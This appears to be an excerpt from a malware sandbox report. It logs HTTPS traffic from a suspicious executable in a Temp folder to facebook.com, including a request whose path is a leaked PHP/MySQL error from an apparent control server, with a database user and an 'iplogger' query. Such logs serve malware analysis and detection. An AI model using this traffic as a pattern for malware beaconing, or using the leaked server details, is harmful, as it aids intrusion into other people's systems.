2022-10-08 09:34:43 UTC	409	IN	Data Raw: 5b 7b 22 63 6f 6e 74 61 63 74 70 6f 69 6e 74 46 69 65 6c 64 49 44 22 3a 22 65 6d 61 69 6c 22 2c 22 73 65 72 76 65 72 50 72 65 66 69 6c 6c 22 3a 22 22 7d 5d 5d 2c 5b 22 42 72 6f 77 73 65 72 50 72 65 66 69 6c 6c 4c 6f 67 67 69 6e 67 22 2c 22 69 6e 69 74 50 61 73 73 77 6f 72 64 46 69 65 6c 64 4c 6f 67 67 69 6e 67 22 2c 5b 5d 2c 5b 7b 22 70 61 73 73 77 6f 72 64 46 69 65 6c 64 49 44 22 3a 22 70 61 73 73 22 7d 5d 5d 2c 5b 22 46 6f 63 75 73 4c 69 73 74 65 6e 65 72 22 5d 2c 5b 22 46 6c 69 70 44 69 72 65 63 74 69 6f 6e 4f 6e 4b 65 79 70 72 65 73 73 22 5d 2c 5b 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 22 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 37 67 22 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 65 35 61 64 32 34 33 64 5f 30 5f 30 5f 66 Data Ascii: [{"contactpointFieldID":"email","serverPrefill":""}]],["BrowserPrefillLogging","initPasswordFieldLogging",[],[{"passwordFieldID":"pass"}]],["FocusListener"],["FlipDirectionOnKeypress"],["PageTransitions"],["__inst_02182015_0_0_7g"],["__inst_e5ad243d_0_0_f
2022-10-08 09:34:43 UTC	411	IN	Data Raw: 69 6d 69 6e 67 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 7d 3b 7d 29 28 29 3b 77 69 6e 64 6f 77 2e 5f 5f 62 69 67 50 69 70 65 46 52 3d 6e 6f 77 5f 69 6e 6c 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 37 2f 6c 2f 30 2c 63 72 6f 73 73 2f 33 6b 69 51 44 4d 72 43 42 6f 77 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 74 79 6c 65 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 Data Ascii: iming.navigationStart}:function(){return new Date().getTime()};})();window.__bigPipeFR=now_inl();</script><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/y7/l/0,cross/3kiQDMrCBow.css?_nc_x=Ij3Wp8lg5Kz" as="style" /><link rel="preload"
2022-10-08 09:34:43 UTC	412	IN	Data Raw: 63 2e 70 68 70 2f 76 33 2f 79 35 2f 72 2f 5f 4b 5f 76 47 37 74 48 55 32 59 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 51 49 6d 73 50 5a 65 46 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 76 2f 72 2f 54 43 68 6f 2d 61 43 35 64 4c 4f 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 51 49 6d 73 50 5a 65 46 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 Data Ascii: c.php/v3/y5/r/_K_vG7tHU2Y.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="QImsPZeF" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yv/r/TCho-aC5dLO.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="QImsPZeF" /><link rel="preload" href="https://stat
2022-10-08 09:34:43 UTC	414	IN	Data Raw: 6f 75 72 63 65 73 3a 5b 22 31 33 45 77 71 6a 69 22 2c 22 2f 6f 30 47 44 55 6d 22 2c 22 70 6c 43 48 4f 72 72 22 2c 22 55 32 2b 36 53 48 35 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 36 71 62 77 33 50 51 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 63 59 55 33 63 33 32 22 2c 22 34 42 47 54 6d 43 37 22 2c 22 37 39 56 39 63 56 5a 22 2c 22 49 32 78 6d 45 79 4f 22 2c 22 50 2f 6d 72 35 56 45 22 2c 22 50 66 34 6f 47 4b 44 22 2c 22 63 67 66 32 64 64 58 22 2c 22 63 68 58 77 50 72 55 22 5d 2c 69 64 3a 22 66 69 72 73 74 5f 72 65 73 70 6f 6e 73 65 22 2c 70 68 61 73 65 3a 30 2c 6c 61 73 74 5f 69 6e 5f 70 68 61 73 65 3a 74 72 75 65 2c 74 74 69 5f 70 68 61 73 65 Data Ascii: ources:["13Ewqji","/o0GDUm","plCHOrr","U2+6SH5","n6W4xMH","8zbEZtu","hKY0QKT","vGt2mxz","h3ZzAmG","6qbw3PQ","dAxX0jj","cYU3c32","4BGTmC7","79V9cVZ","I2xmEyO","P/mr5VE","Pf4oGKD","cgf2ddX","chXwPrU"],id:"first_response",phase:0,last_in_phase:true,tti_phase
2022-10-08 09:34:43 UTC	415	IN	Data Raw: 54 49 4f 4e 3a 31 2c 61 64 73 5f 70 65 72 66 5f 73 63 65 6e 61 72 69 6f 3a 31 2c 61 64 73 5f 77 61 69 74 5f 74 69 6d 65 3a 31 2c 45 76 65 6e 74 3a 31 30 30 7d 2c 65 6e 61 62 6c 65 5f 68 65 61 72 74 62 65 61 74 3a 74 72 75 65 2c 6d 61 78 42 6c 6f 63 6b 4d 65 72 67 65 44 75 72 61 74 69 6f 6e 3a 30 2c 6d 61 78 42 6c 6f 63 6b 4d 65 72 67 65 44 69 73 74 61 6e 63 65 3a 30 2c 65 6e 61 62 6c 65 5f 62 61 6e 7a 61 69 5f 73 74 72 65 61 6d 3a 74 72 75 65 2c 75 73 65 72 5f 74 69 6d 69 6e 67 5f 63 6f 69 6e 66 6c 69 70 3a 35 30 2c 62 61 6e 7a 61 69 5f 73 74 72 65 61 6d 5f 63 6f 69 6e 66 6c 69 70 3a 30 2c 63 6f 6d 70 72 65 73 73 69 6f 6e 5f 65 6e 61 62 6c 65 64 3a 74 72 75 65 2c 72 65 66 5f 63 6f 75 6e 74 69 6e 67 5f 66 69 78 3a 66 61 6c 73 65 2c 72 65 66 5f 63 6f 75 6e Data Ascii: TION:1,ads_perf_scenario:1,ads_wait_time:1,Event:100},enable_heartbeat:true,maxBlockMergeDuration:0,maxBlockMergeDistance:0,enable_banzai_stream:true,user_timing_coinflip:50,banzai_stream_coinflip:0,compression_enabled:true,ref_counting_fix:false,ref_coun
2022-10-08 09:34:43 UTC	417	IN	Data Raw: 3a 31 32 39 34 31 35 38 22 2c 5b 22 52 65 61 63 74 2e 63 6c 61 73 73 69 63 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 52 65 61 63 74 2e 63 6c 61 73 73 69 63 22 2c 22 41 61 32 72 6f 6e 5a 73 30 45 4e 71 61 6a 71 75 5a 57 55 75 49 6e 36 4e 6f 70 55 66 59 72 4d 70 5a 30 36 47 4c 49 48 38 70 41 66 57 63 7a 38 4d 44 4b 47 4b 4e 46 36 75 50 64 4e 52 43 4f 32 41 73 55 4b 43 67 43 48 34 74 31 74 36 34 5f 53 46 6a 44 32 41 71 78 58 43 76 5a 49 33 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 32 39 34 32 34 36 22 2c 5b 22 52 65 61 63 74 44 4f 4d 2e 63 6c 61 73 73 69 63 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 52 65 61 63 74 44 4f 4d 2e 63 6c 61 73 73 69 63 22 2c 22 41 61 32 72 6f 6e 5a 73 30 45 4e 71 61 6a 71 75 5a 57 55 75 49 6e 36 4e 6f 70 55 66 59 72 4d 70 5a 30 36 47 4c 49 48 38 70 Data Ascii: :1294158",["React.classic"],{__rc:["React.classic","Aa2ronZs0ENqajquZWUuIn6NopUfYrMpZ06GLIH8pAfWcz8MDKGKNF6uPdNRCO2AsUKCgCH4t1t64_SFjD2AqxXCvZI3"]},-1],["cr:1294246",["ReactDOM.classic"],{__rc:["ReactDOM.classic","Aa2ronZs0ENqajquZWUuIn6NopUfYrMpZ06GLIH8p
2022-10-08 09:34:43 UTC	418	IN	Data Raw: 72 72 6f 72 3a 74 72 75 65 7d 2c 31 30 36 37 5d 2c 5b 22 63 72 3a 36 39 32 32 30 39 22 2c 5b 22 63 61 6e 63 65 6c 49 64 6c 65 43 61 6c 6c 62 61 63 6b 42 6c 75 65 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 63 61 6e 63 65 6c 49 64 6c 65 43 61 6c 6c 62 61 63 6b 42 6c 75 65 22 2c 22 41 61 33 77 46 4b 2d 6f 47 4c 4a 4a 2d 5a 72 41 72 33 4e 70 63 46 79 6a 4c 42 61 66 48 46 5a 32 33 76 47 78 6e 56 7a 37 30 67 70 70 2d 54 6e 35 58 55 54 6f 6b 45 72 32 47 79 7a 71 67 56 65 6c 35 62 57 2d 39 58 56 56 63 6c 77 68 74 70 42 35 2d 6c 67 30 45 58 64 6b 34 52 30 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 32 39 32 33 36 35 22 2c 5b 22 52 65 61 63 74 2d 70 72 6f 64 2e 63 6c 61 73 73 69 63 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 52 65 61 63 74 2d 70 72 6f 64 2e 63 6c 61 73 73 69 63 22 2c 22 Data Ascii: rror:true},1067],["cr:692209",["cancelIdleCallbackBlue"],{__rc:["cancelIdleCallbackBlue","Aa3wFK-oGLJJ-ZrAr3NpcFyjLBafHFZ23vGxnVz70gpp-Tn5XUTokEr2GyzqgVel5bW-9XVVclwhtpB5-lg0EXdk4R0"]},-1],["cr:1292365",["React-prod.classic"],{__rc:["React-prod.classic","
2022-10-08 09:34:43 UTC	419	IN	Data Raw: 75 6c 6c 55 70 64 61 74 65 3a 74 72 75 65 2c 6e 65 65 64 73 50 61 72 74 69 61 6c 55 70 64 61 74 65 3a 66 61 6c 73 65 2c 73 68 6f 75 6c 64 4c 6f 67 52 65 73 6f 75 72 63 65 50 65 72 66 3a 66 61 6c 73 65 7d 2c 33 39 37 37 5d 2c 5b 22 57 65 62 53 74 6f 72 61 67 65 4d 6f 6e 73 74 65 72 4c 6f 67 67 69 6e 67 55 52 49 22 2c 5b 5d 2c 7b 75 72 69 3a 22 2f 61 6a 61 78 2f 77 65 62 73 74 6f 72 61 67 65 2f 70 72 6f 63 65 73 73 5f 6b 65 79 73 2f 3f 73 74 61 74 65 3d 31 22 7d 2c 33 30 33 32 5d 2c 5b 22 42 72 6f 77 73 65 72 50 61 79 6d 65 6e 74 48 61 6e 64 6c 65 72 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 65 6e 61 62 6c 65 64 3a 66 61 6c 73 65 7d 2c 33 39 30 34 5d 2c 5b 22 54 69 6d 65 53 70 65 6e 74 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 64 65 6c 61 79 3a 31 30 30 30 2c 74 69 6d Data Ascii: ullUpdate:true,needsPartialUpdate:false,shouldLogResourcePerf:false},3977],["WebStorageMonsterLoggingURI",[],{uri:"/ajax/webstorage/process_keys/?state=1"},3032],["BrowserPaymentHandlerConfig",[],{enabled:false},3904],["TimeSpentConfig",[],{delay:1000,tim
2022-10-08 09:34:43 UTC	421	IN	Data Raw: 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 Data Ascii: %0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20li
2022-10-08 09:34:43 UTC	422	IN	Data Raw: 33 39 38 38 22 3a 7b 72 3a 31 7d 7d 7d 2c 68 62 6c 70 3a 7b 63 6f 6e 73 69 73 74 65 6e 63 79 3a 7b 72 65 76 3a 31 30 30 36 33 35 35 33 32 37 7d 2c 72 73 72 63 4d 61 70 3a 7b 22 59 6b 74 6b 2f 52 55 22 3a 7b 74 79 70 65 3a 22 6a 73 22 2c 73 72 63 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 78 2f 72 2f 55 74 34 6f 4f 4c 55 43 39 4c 4f 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 6e 63 3a 31 7d 7d 2c 63 6f 6d 70 4d 61 70 3a 7b 54 72 61 6e 73 70 6f 72 74 53 65 6c 65 63 74 69 6e 67 43 6c 69 65 6e 74 53 69 6e 67 6c 65 74 6f 6e 3a 7b 72 3a 5b 22 59 6b 74 6b 2f 52 55 22 2c 22 30 37 4a 53 69 50 30 22 5d 2c 72 64 73 3a 7b 6d 3a 5b 22 43 6f 6e 74 65 78 74 75 Data Ascii: 3988":{r:1}}},hblp:{consistency:{rev:1006355327},rsrcMap:{"Yktk/RU":{type:"js",src:"https://static.xx.fbcdn.net/rsrc.php/v3/yx/r/Ut4oOLUC9LO.js?_nc_x=Ij3Wp8lg5Kz",nc:1}},compMap:{TransportSelectingClientSingleton:{r:["Yktk/RU","07JSiP0"],rds:{m:["Contextu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49711	31.13.92.36	443	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data
2022-10-08 09:35:10 UTC	423	OUT	GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: www.facebook.com
2022-10-08 09:35:10 UTC	425	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 document-policy: force-load-at-top cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: HEBZvMECXUhz/pUFSZhwDK8KCl9z14WWFM7Yj3DA4oD0Qz9N1I0fzL9A824qLsuI/b4YeQxxl6ikx3Vuljohmg== Date: Sat, 08 Oct 2022 09:35:10 GMT Priority: u=3,i Transfer-Encoding: chunked Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Connection: close
2022-10-08 09:35:10 UTC	426	IN	Data Raw: 34 33 35 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 4d 36 54 5a 47 37 32 6e 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 Data Ascii: 435f<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="default" id="meta_referrer" /><script nonce="M6TZG72n">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requi
2022-10-08 09:35:10 UTC	426	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 29 72 65 74 75 72 6e 3b 62 2e 49 5f 41 4d 5f 49 4e 43 4f 47 4e 49 54 4f 5f 41 4e 44 5f 49 5f 52 45 41 4c 4c 59 5f 4e 45 45 44 5f 57 45 42 53 51 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 28 61 2c 62 2c 63 2c 64 29 7d 3b 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4d 36 54 5a 47 37 32 6e 22 3e 3c 2f 73 74 79 Data Ascii: function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="M6TZG72n"></sty
2022-10-08 09:35:10 UTC	428	IN	Data Raw: 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 3f 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 6e 69 66 65 73 74 22 20 69 64 3d 22 4d 41 4e 49 46 45 53 54 5f 4c 49 4e 4b 22 20 Data Ascii: WDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E?_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK"
2022-10-08 09:35:10 UTC	429	IN	Data Raw: 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 Data Ascii: ccess%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%2
2022-10-08 09:35:10 UTC	431	IN	Data Raw: 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 2f Data Ascii: Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" /
2022-10-08 09:35:10 UTC	432	IN	Data Raw: 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 6f 2f 6c 2f 30 2c 63 72 6f 73 73 2f 58 48 77 75 41 5f 5f 34 32 41 66 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 34 42 47 54 6d 43 37 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 39 2f 6c 2f 30 2c 63 72 6f 73 73 2f 71 62 76 39 35 6f 5a 33 65 6c 42 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 Data Ascii: tatic.xx.fbcdn.net/rsrc.php/v3/yo/l/0,cross/XHwuA__42Af.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="4BGTmC7" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/y9/l/0,cross/qbv95oZ3elB.css?_nc_x=Ij3Wp8lg5Kz" data-boot
2022-10-08 09:35:10 UTC	433	IN	Data Raw: 31 65 68 54 39 79 71 2d 32 71 36 35 34 59 22 7d 2c 22 31 32 31 37 31 35 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 42 37 59 6d 6c 6c 4f 73 41 72 6e 4b 36 73 35 49 22 7d 2c 22 31 35 35 34 38 32 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 7a 75 65 47 4c 68 47 6f 30 63 54 35 78 6a 68 67 22 7d 2c 22 31 37 33 38 34 38 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 63 58 33 37 6f 51 63 6f 36 44 77 68 55 2d 33 73 22 7d 7d 2c 22 71 70 6c 44 61 74 61 22 3a 7b 22 37 37 35 38 22 3a 7b 22 72 22 3a 31 7d 7d 7d 29 7d 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 2c 22 53 65 72 76 65 72 4a 53 Data Ascii: 1ehT9yq-2q654Y"},"1217157":{"result":false,"hash":"AT6B7YmllOsArnK6s5I"},"1554827":{"result":false,"hash":"AT7zueGLhGo0cT5xjhg"},"1738486":{"result":false,"hash":"AT4cX37oQco6DwhU-3s"}},"qplData":{"7758":{"r":1}}})});requireLazy(["TimeSliceImpl","ServerJS
